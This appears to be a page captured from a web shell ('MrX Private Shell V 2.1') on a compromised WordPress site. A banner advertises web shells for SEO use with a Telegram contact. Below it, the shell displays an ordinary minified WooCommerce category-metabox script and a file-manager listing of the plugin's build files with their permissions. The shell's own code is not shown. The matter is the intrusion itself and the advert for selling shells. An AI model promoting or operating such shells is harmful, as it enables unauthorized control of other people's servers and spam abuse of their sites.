__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
"use strict";(globalThis.webpackChunk_wcAdmin_webpackJsonp=globalThis.webpackChunk_wcAdmin_webpackJsonp||[]).push([[6666],{29110:(e,t,a)=>{a.r(t),a.d(t,{default:()=>N});var r=a(27723),c=a(86087),n=a(93861),o=a(93832),s=a(29491),l=a(98846),d=a(15703),i=a(83306),m=a(1455),u=a.n(m),_=a(39793);const h={};function p(e,t=[]){for(const a of e){const e={label:a.name,value:a.term_id.toString(),children:[]};h[a.term_id]=a,t.push(e),a.children?.length&&p(a.children,e.children)}return t.sort(((e,t)=>{const a=e.label.toUpperCase(),r=t.label.toUpperCase();return a<r?-1:a>r?1:0})),t}async function g(e){const t=await u()({url:(0,o.addQueryArgs)(new URL("admin-ajax.php",(0,d.getSetting)("adminUrl")).toString(),{term:e,action:"woocommerce_json_search_categories_tree",security:wc_product_category_metabox_params.search_categories_nonce}),method:"GET"});return t?p(Object.values(t)):[]}const y=(0,c.forwardRef)((({selectedCategoryTerms:e,onChange:t},a)=>{const[o,d]=(0,c.useState)(""),[m,u]=(0,c.useState)([]),p=(0,c.useCallback)((e=>{e&&e.length>0&&(0,i.recordEvent)("product_category_search",{page:"product",async:!0,search_string_length:e.length}),g(e).then((e=>{u(Object.values(e))}))}),[u]),y=(0,s.useDebounce)(p,250);return(0,c.useEffect)((()=>{y(o)}),[o]),(0,c.useImperativeHandle)(a,(()=>({resetInitialValues(){g("").then((e=>{u(Object.values(e))}))}})),[]),(0,_.jsxs)(_.Fragment,{children:[(0,_.jsx)("div",{className:"product-add-category__tree-control",children:(0,_.jsx)(l.TreeSelectControl,{alwaysShowPlaceholder:!0,options:m,value:e.map((e=>e.term_id.toString())),onChange:e=>{t(e.map((e=>h[e]))),(0,i.recordEvent)("product_category_update",{page:"product",async:!0,selected:e.length})},selectAllLabel:!1,onInputChange:d,placeholder:(0,r.__)("Add category","woocommerce"),includeParent:!0,minFilterQueryLength:2,clearOnSelect:!1,individuallySelectParent:!0})}),(0,_.jsx)("ul",{className:"categorychecklist form-no-clear tagchecklist",id:n.mL+"checklist",children:e.map((a=>(0,_.jsxs)("li",{children:[(0,_.jsxs)("button",{type:"button",className:"ntdelbutton",onClick:()=>{const r=e.filter((e=>e.term_id!==a.term_id));t(r)},children:[(0,_.jsx)("span",{className:"remove-tag-icon","aria-hidden":"true"}),(0,_.jsx)("span",{className:"screen-reader-text",children:(0,r.sprintf)((0,r.__)("Remove term: %s","woocommerce"),a.name)})]}),a.name]},a.term_id)))})]})})),x=({selected:e,onChange:t})=>{const[a,r]=(0,c.useState)([]);(0,c.useEffect)((()=>{u()({url:(0,o.addQueryArgs)(new URL("admin-ajax.php",(0,d.getSetting)("adminUrl")).toString(),{action:"woocommerce_json_search_taxonomy_terms",taxonomy:n.mL,limit:10,orderby:"count",order:"DESC",security:wc_product_category_metabox_params.search_taxonomy_terms_nonce}),method:"GET"}).then((e=>{e&&r(e.filter((e=>e.count>0)))}))}),[]);const s=e.map((e=>e.term_id));return(0,_.jsx)("ul",{className:"categorychecklist form-no-clear",id:n.mL+"checklist-pop",children:a.map((a=>{const r=`in-popular-${n.mL}-${a.term_id}`;return(0,_.jsx)("li",{className:"popular-category",children:(0,_.jsxs)("label",{className:"selectit",htmlFor:r,children:[(0,_.jsx)("input",{type:"checkbox",id:r,checked:s.includes(a.term_id),onChange:()=>{s.includes(a.term_id)?t(e.filter((e=>e.term_id!==a.term_id))):t([...e,a])}}),a.name]})},a.term_id)}))})};var w=a(40314);function b(e){return e?.name||""}function j(e){return String(e?.term_id)}const v=({selectedCategoryTerms:e,onChange:t})=>{const[a,s]=(0,c.useState)(!1),[m,h]=(0,c.useState)(""),[p,g]=(0,c.useState)(""),[y,x]=(0,c.useState)(),[v,S]=(0,c.useState)([]),{currentUserCan:f}=(0,w.useUser)(),C=f("edit_product_terms"),N=(0,c.useCallback)((async(e="")=>(S([]),u()({url:(0,o.addQueryArgs)(new URL("admin-ajax.php",(0,d.getSetting)("adminUrl")).toString(),{term:e,action:"woocommerce_json_search_categories",security:wc_product_category_metabox_params.search_categories_nonce}),method:"GET"}).then((e=>(e&&S(Object.values(e)),[]))))),[]),{isFetching:L,...k}=(0,l.useAsyncFilter)({filter:N});return C?(0,_.jsxs)("div",{id:n.mL+"-adder",children:[(0,_.jsx)("a",{id:"product_cat-add-toggle",href:"#taxonomy-"+n.mL,className:"taxonomy-add-new",onClick:()=>s(!a),"aria-label":(0,r.__)("Add new category","woocommerce"),children:(0,r.__)("+ Add new category","woocommerce")}),a&&(0,_.jsxs)("div",{id:"product_cat-add",className:"category-add",children:[(0,_.jsx)("label",{className:"screen-reader-text",htmlFor:"newproduct_cat",children:(0,r.__)("Add new category","woocommerce")}),(0,_.jsx)("input",{type:"text",name:"newproduct_cat",id:"newproduct_cat",className:"form-required",placeholder:(0,r.__)("New category name","woocommerce"),value:m,onChange:e=>h(e.target.value),"aria-required":"true"}),(0,_.jsx)("label",{className:"screen-reader-text",htmlFor:"newproduct_cat_parent",children:(0,r.__)("Parent category:","woocommerce")}),(0,_.jsx)(l.__experimentalSelectControl,{...k,label:(0,r.__)("Parent category:","woocommerce"),items:v,selected:y||null,placeholder:(0,r.__)("Find category","woocommerce"),onSelect:x,getItemLabel:b,getItemValue:j,onRemove:()=>x(void 0)}),p&&(0,_.jsx)("p",{className:"category-add__error",children:p}),(0,_.jsx)("input",{type:"button",id:"product_cat-add-submit",className:"button category-add-submit",value:(0,r.__)("Add new category","woocommerce"),disabled:!m.length,onClick:a=>{var r;if(a.preventDefault(),!m)return;const c={name:m,parent:null!==(r=y?.term_id)&&void 0!==r?r:-1};g(""),u()({path:"/wc/v3/products/categories",data:c,method:"POST"}).then((a=>{a&&((0,i.recordEvent)("product_category_add",{category_id:a.id,parent_id:a.parent,parent_category:a.parent>0?"Other":"None",page:"product",async:!0}),t([...e,{term_id:a.id,name:a.name,count:a.count}]),h(""),x(void 0),s(!1))})).catch((e=>{e&&e.message&&g(e.message)}))}})]})]}):null};let S="";window.getUserSetting&&(S=window.getUserSetting(n.mL+"_tab")||"");const f="pop",C="all",N=({initialSelected:e})=>{const[t,a]=(0,c.useState)(e),o=(0,c.useRef)(null),[s,l]=(0,c.useState)(S===f?S:C);return(0,_.jsxs)("div",{id:"taxonomy-"+n.mL,className:"categorydiv category-async-metabox",children:[(0,_.jsxs)("ul",{className:"category-tabs",children:[(0,_.jsx)("li",{className:s===C?"tabs":"",children:(0,_.jsx)("a",{href:"#"+n.mL+"-"+C,onClick:e=>{e.preventDefault(),l(C),window.deleteUserSetting&&window.deleteUserSetting(n.mL+"_tab")},children:(0,r.__)("All items","woocommerce")})}),(0,_.jsx)("li",{className:s===f?"tabs":"",children:(0,_.jsx)("a",{href:"#"+n.mL+"-"+f,onClick:e=>{e.preventDefault(),l(f),window.setUserSetting&&window.setUserSetting(n.mL+"_tab",f)},children:(0,r.__)("Most used","woocommerce")})})]}),(0,_.jsx)("div",{className:"tabs-panel",id:n.mL+"-"+f,style:s!==f?{display:"none"}:{},children:(0,_.jsx)("ul",{id:n.mL+"checklist-"+f,className:"categorychecklist form-no-clear",children:(0,_.jsx)(x,{selected:t,onChange:a})})}),(0,_.jsx)("div",{className:"tabs-panel",id:n.mL+"-"+C,style:s!==C?{display:"none"}:{},children:(0,_.jsx)(y,{selectedCategoryTerms:t,onChange:a,ref:o})}),(t||[]).map((e=>(0,_.jsx)("input",{type:"hidden",value:e.term_id,name:"tax_input["+n.mL+"][]"},e.term_id))),0===t.length&&(0,_.jsx)("input",{type:"hidden",value:"",name:"tax_input["+n.mL+"][]"}),(0,_.jsx)(v,{selectedCategoryTerms:t,onChange:e=>{a(e),o.current&&o.current.resetInitialValues()}})]})}}}]);| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| 1087.js | File | 114.42 KB | 0664 |
|
| 1087.js.LICENSE.txt | File | 260 B | 0664 |
|
| 1133.style-rtl.css | File | 3.45 KB | 0664 |
|
| 1133.style.css | File | 3.45 KB | 0664 |
|
| 1226.style-rtl.css | File | 24.72 KB | 0664 |
|
| 1226.style.css | File | 24.73 KB | 0664 |
|
| 1438.style-rtl.css | File | 5.05 KB | 0664 |
|
| 1438.style.css | File | 5.06 KB | 0664 |
|
| 1494.style-rtl.css | File | 59.43 KB | 0664 |
|
| 1494.style.css | File | 59.43 KB | 0664 |
|
| 1779.js | File | 7.65 KB | 0664 |
|
| 1779.js.LICENSE.txt | File | 808 B | 0664 |
|
| 2152.style-rtl.css | File | 47.89 KB | 0664 |
|
| 2152.style.css | File | 47.88 KB | 0664 |
|
| 2233.style-rtl.css | File | 44.76 KB | 0664 |
|
| 2233.style.css | File | 44.77 KB | 0664 |
|
| 2316.js | File | 12.46 KB | 0664 |
|
| 2363.js | File | 3.28 KB | 0664 |
|
| 2363.style-rtl.css | File | 7.79 KB | 0664 |
|
| 2363.style.css | File | 7.78 KB | 0664 |
|
| 2482.js | File | 2.61 KB | 0664 |
|
| 2672.js | File | 46.24 KB | 0664 |
|
| 2672.js.LICENSE.txt | File | 818 B | 0664 |
|
| 2812.js | File | 53.42 KB | 0664 |
|
| 2812.js.LICENSE.txt | File | 149 B | 0664 |
|
| 2852.js | File | 16.18 KB | 0664 |
|
| 2863.js | File | 51.25 KB | 0664 |
|
| 2863.style-rtl.css | File | 29.34 KB | 0664 |
|
| 2863.style.css | File | 29.33 KB | 0664 |
|
| 2985.style-rtl.css | File | 679 B | 0664 |
|
| 2985.style.css | File | 679 B | 0664 |
|
| 3151.style-rtl.css | File | 2.17 KB | 0664 |
|
| 3151.style.css | File | 2.17 KB | 0664 |
|
| 3256.style-rtl.css | File | 1.55 KB | 0664 |
|
| 3256.style.css | File | 1.55 KB | 0664 |
|
| 3381.js | File | 196 B | 0664 |
|
| 3501.style-rtl.css | File | 4.02 KB | 0664 |
|
| 3501.style.css | File | 4.02 KB | 0664 |
|
| 3534.style-rtl.css | File | 2.78 KB | 0664 |
|
| 3534.style.css | File | 2.78 KB | 0664 |
|
| 3678.style-rtl.css | File | 46.77 KB | 0664 |
|
| 3678.style.css | File | 46.77 KB | 0664 |
|
| 4040.style-rtl.css | File | 107.27 KB | 0664 |
|
| 4040.style.css | File | 107.27 KB | 0664 |
|
| 427.js | File | 9.14 KB | 0664 |
|
| 4409.style-rtl.css | File | 2.38 KB | 0664 |
|
| 4409.style.css | File | 2.38 KB | 0664 |
|
| 4475.js | File | 110.71 KB | 0664 |
|
| 4475.style-rtl.css | File | 49.1 KB | 0664 |
|
| 4475.style.css | File | 49.1 KB | 0664 |
|
| 4713.js | File | 6.91 KB | 0664 |
|
| 504.style-rtl.css | File | 17.98 KB | 0664 |
|
| 504.style.css | File | 17.98 KB | 0664 |
|
| 5113.style-rtl.css | File | 1.55 KB | 0664 |
|
| 5113.style.css | File | 1.55 KB | 0664 |
|
| 5157.js | File | 16.33 KB | 0664 |
|
| 5845.style-rtl.css | File | 2.38 KB | 0664 |
|
| 5845.style.css | File | 2.38 KB | 0664 |
|
| 5902.js | File | 3.29 KB | 0664 |
|
| 5902.style-rtl.css | File | 9.6 KB | 0664 |
|
| 5902.style.css | File | 9.6 KB | 0664 |
|
| 592.style-rtl.css | File | 65.31 KB | 0664 |
|
| 592.style.css | File | 65.3 KB | 0664 |
|
| 5941.style-rtl.css | File | 5.69 KB | 0664 |
|
| 5941.style.css | File | 5.69 KB | 0664 |
|
| 5945.js | File | 66.57 KB | 0664 |
|
| 5945.js.LICENSE.txt | File | 808 B | 0664 |
|
| 6005.js | File | 12.52 KB | 0664 |
|
| 6071.style-rtl.css | File | 1.55 KB | 0664 |
|
| 6071.style.css | File | 1.55 KB | 0664 |
|
| 6115.style-rtl.css | File | 1.21 KB | 0664 |
|
| 6115.style.css | File | 1.21 KB | 0664 |
|
| 624.js | File | 43.02 KB | 0664 |
|
| 624.js.LICENSE.txt | File | 657 B | 0664 |
|
| 6299.js | File | 11.67 KB | 0664 |
|
| 6407.js | File | 16.86 KB | 0664 |
|
| 6424.style-rtl.css | File | 1.55 KB | 0664 |
|
| 6424.style.css | File | 1.55 KB | 0664 |
|
| 6620.style-rtl.css | File | 4.02 KB | 0664 |
|
| 6620.style.css | File | 4.02 KB | 0664 |
|
| 6657.js | File | 159.35 KB | 0664 |
|
| 6664.js | File | 10.36 KB | 0664 |
|
| 6779.style-rtl.css | File | 17.98 KB | 0664 |
|
| 6779.style.css | File | 17.98 KB | 0664 |
|
| 6844.js | File | 10.73 KB | 0664 |
|
| 7106.js | File | 14.3 KB | 0664 |
|
| 7202.style-rtl.css | File | 2.17 KB | 0664 |
|
| 7202.style.css | File | 2.17 KB | 0664 |
|
| 7210.style-rtl.css | File | 24.12 KB | 0664 |
|
| 7210.style.css | File | 24.12 KB | 0664 |
|
| 7752.style-rtl.css | File | 22.54 KB | 0664 |
|
| 7752.style.css | File | 22.54 KB | 0664 |
|
| 7956.style-rtl.css | File | 1.47 KB | 0664 |
|
| 7956.style.css | File | 1.47 KB | 0664 |
|
| 8.style-rtl.css | File | 770 B | 0664 |
|
| 8.style.css | File | 770 B | 0664 |
|
| 8013.style-rtl.css | File | 11.87 KB | 0664 |
|
| 8013.style.css | File | 11.87 KB | 0664 |
|
| 8039.style-rtl.css | File | 12.75 KB | 0664 |
|
| 8039.style.css | File | 12.75 KB | 0664 |
|
| 8068.style-rtl.css | File | 1.55 KB | 0664 |
|
| 8068.style.css | File | 1.55 KB | 0664 |
|
| 823.style-rtl.css | File | 1.76 KB | 0664 |
|
| 823.style.css | File | 1.76 KB | 0664 |
|
| 8276.js | File | 12.04 KB | 0664 |
|
| 8286.style-rtl.css | File | 1.55 KB | 0664 |
|
| 8286.style.css | File | 1.55 KB | 0664 |
|
| 9002.js | File | 8.98 KB | 0664 |
|
| 9117.js | File | 30.61 KB | 0664 |
|
| 9117.js.LICENSE.txt | File | 240 B | 0664 |
|
| 9329.js | File | 55.83 KB | 0664 |
|
| 945.style-rtl.css | File | 5.4 KB | 0664 |
|
| 945.style.css | File | 5.4 KB | 0664 |
|
| 9568.js | File | 21.77 KB | 0664 |
|
| 9568.js.LICENSE.txt | File | 99 B | 0664 |
|
| 9680.style-rtl.css | File | 7.75 KB | 0664 |
|
| 9680.style.css | File | 7.75 KB | 0664 |
|
| 9719.js | File | 739 B | 0664 |
|
| activity-panels-help.js | File | 10.3 KB | 0664 |
|
| activity-panels-inbox.js | File | 9.04 KB | 0664 |
|
| activity-panels-setup.js | File | 12.68 KB | 0664 |
|
| analytics-report-categories.js | File | 11.99 KB | 0664 |
|
| analytics-report-coupons.js | File | 14.71 KB | 0664 |
|
| analytics-report-customers.js | File | 11.78 KB | 0664 |
|
| analytics-report-downloads.js | File | 15.61 KB | 0664 |
|
| analytics-report-orders.js | File | 9.01 KB | 0664 |
|
| analytics-report-products.js | File | 14.58 KB | 0664 |
|
| analytics-report-revenue.js | File | 16.13 KB | 0664 |
|
| analytics-report-stock.js | File | 3.99 KB | 0664 |
|
| analytics-report-taxes.js | File | 14.34 KB | 0664 |
|
| analytics-report-variations.js | File | 8.58 KB | 0664 |
|
| analytics-report.js | File | 1.37 KB | 0664 |
|
| analytics-settings.js | File | 15.61 KB | 0664 |
|
| category-metabox.js | File | 7.09 KB | 0664 |
|
| core-profiler.js | File | 82.14 KB | 0664 |
|
| customizable-dashboard.js | File | 15.07 KB | 0664 |
|
| customize-store.js | File | 169.49 KB | 0664 |
|
| dashboard-charts.js | File | 20.23 KB | 0664 |
|
| dashboard.js | File | 932 B | 0664 |
|
| edit-product-page.js | File | 1.82 KB | 0664 |
|
| homescreen.js | File | 80.4 KB | 0664 |
|
| launch-store.js | File | 49.99 KB | 0664 |
|
| leaderboards.js | File | 4.17 KB | 0664 |
|
| marketplace.js | File | 100.87 KB | 0664 |
|
| multichannel-marketing.js | File | 66.04 KB | 0664 |
|
| product-page.js | File | 2.17 KB | 0664 |
|
| settings-payments-bacs.js | File | 11.72 KB | 0664 |
|
| settings-payments-cheque.js | File | 4.1 KB | 0664 |
|
| settings-payments-cod.js | File | 5.36 KB | 0664 |
|
| settings-payments-main.js | File | 47.62 KB | 0664 |
|
| settings-payments-offline.js | File | 2.31 KB | 0664 |
|
| settings-payments-woocommerce-payments.js | File | 377 B | 0664 |
|
| shipping-recommendations.js | File | 15.99 KB | 0664 |
|
| store-alerts.js | File | 6.13 KB | 0664 |
|
| store-performance.js | File | 4.43 KB | 0664 |
|
| wcpay-payment-welcome-page.js | File | 26.83 KB | 0664 |
|